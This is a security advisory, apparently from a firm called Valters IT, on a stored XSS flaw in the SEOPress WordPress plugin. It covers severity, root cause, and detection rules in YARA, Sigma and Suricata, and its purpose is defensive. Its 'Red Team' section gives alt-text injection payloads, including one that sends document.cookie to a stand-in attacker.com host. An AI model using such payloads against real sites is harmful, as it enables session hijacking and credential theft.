CVE-2024-2165

Executive Summary

CVE-2024-2165 is a Stored Cross-Site Scripting (XSS) vulnerability in the SEOPress – On-site SEO plugin for WordPress, affecting all versions up to and including 7.5.2.1. The flaw resides in the insufficient sanitization of the image alt parameter, allowing authenticated attackers with Author-level access or higher to inject arbitrary web scripts. When a user (including administrators) visits a page containing the maliciously crafted image, the injected script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or Nuclei template is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel and apply any security patches immediately upon release. Since the plugin is a third-party component, the risk extends to any site using SEOPress, making it a supply chain concern for WordPress site maintainers.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover and lateral movement within a WordPress admin panel elevates the risk for high-value targets.

Deep Dive & Mechanics

The vulnerability exists in the SEOPress plugin's handling of image metadata, specifically the alt attribute. When an authenticated user with Author privileges or higher creates or edits a post and inserts an image, the plugin processes the image's alt text. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into the alt parameter. This stored payload is then rendered unsafely when the page is viewed by any user, including site administrators.

Attack Flow:

1. Attacker logs in with Author-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts an image and sets its alt attribute to a malicious payload, e.g., <img src=x onerror=alert('XSS')>.
4. The plugin stores the payload in the database without proper sanitization.
5. When an administrator or other user visits the post, the payload executes in their browser context.

Root Cause: The plugin fails to escape the alt attribute when outputting image metadata, likely due to missing esc_attr() or similar WordPress escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (SEOPress <= 7.5.2.1):

// In a template or function that outputs image alt text
echo '<img src="' . $image_url . '" alt="' . $image_alt . '" />';

Here, $image_alt is not sanitized or escaped, allowing direct injection of HTML/JavaScript.

Patched Code (Hypothetical):

echo '<img src="' . esc_url($image_url) . '" alt="' . esc_attr($image_alt) . '" />';

The esc_attr() function escapes the alt text, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with SEOPress plugin <= 7.5.2.1
• Author-level account credentials

Exploitation Steps:

1. Log in to WordPress as an Author.
2. Navigate to Posts > Add New.
3. Insert an image via the media library.
4. In the image settings, set the Alt Text field to:

   " onmouseover="alert('XSS')
   

   Or a more sophisticated payload:

   " onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Publish the post.
6. When an administrator visits the post, the payload executes.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for posts created by Author-level users containing suspicious alt attributes.
• Look for unusual JavaScript in image metadata fields.
• Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.

Hunting:

• Query the WordPress database for posts with post_content containing <img tags with onerror, onmouseover, or other event handlers.
• Check wp_postmeta for _wp_attachment_image_alt values containing script tags.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/seopress/ (any file handling image alt output)
• Database: wp_posts table with post_content containing <img tags with event handlers (e.g., onerror, onmouseover)
• Logs: HTTP requests to /wp-admin/post.php with post_content containing XSS payloads
• Network: Outbound connections to attacker-controlled domains from the WordPress admin panel

Detection Engineering

YARA Rule

rule CVE_2024_2165_SEOPress_XSS {
    meta:
        description = "Detects SEOPress stored XSS payloads in image alt attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2165"
    strings:
        $xss1 = /<img[^>]+alt\s*=\s*["'][^"']*["'][^>]*on\w+\s*=/i
        $xss2 = /alt\s*=\s*["'][^"']*<script/i
        $xss3 = /alt\s*=\s*["'][^"']*onerror\s*=/i
    condition:
        any of them
}

Sigma Rule

title: SEOPress Stored XSS via Image Alt Parameter
id: cve-2024-2165
status: experimental
description: Detects attempts to exploit CVE-2024-2165 by injecting XSS payloads into image alt attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_content'
        cs-uri-query|re: '(onerror|onmouseover|onload|onclick)\s*='
    condition: selection
falsepositives:
    - Legitimate use of event handlers in image tags (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2165 SEOPress Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_content"; http_client_body; pcre:"/(onerror|onmouseover|onload|onclick)\s*=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the SEOPress plugin until a patch is released.
2. Restrict Author-level permissions to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in image alt fields.

Long-term Fix:

• Apply the official patch from the vendor once available.
• Upgrade to SEOPress version > 7.5.2.1 when released.
• Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this CVE.
• Manually sanitize image alt text by adding esc_attr() in the plugin's template files (if custom development is possible).

Valters IT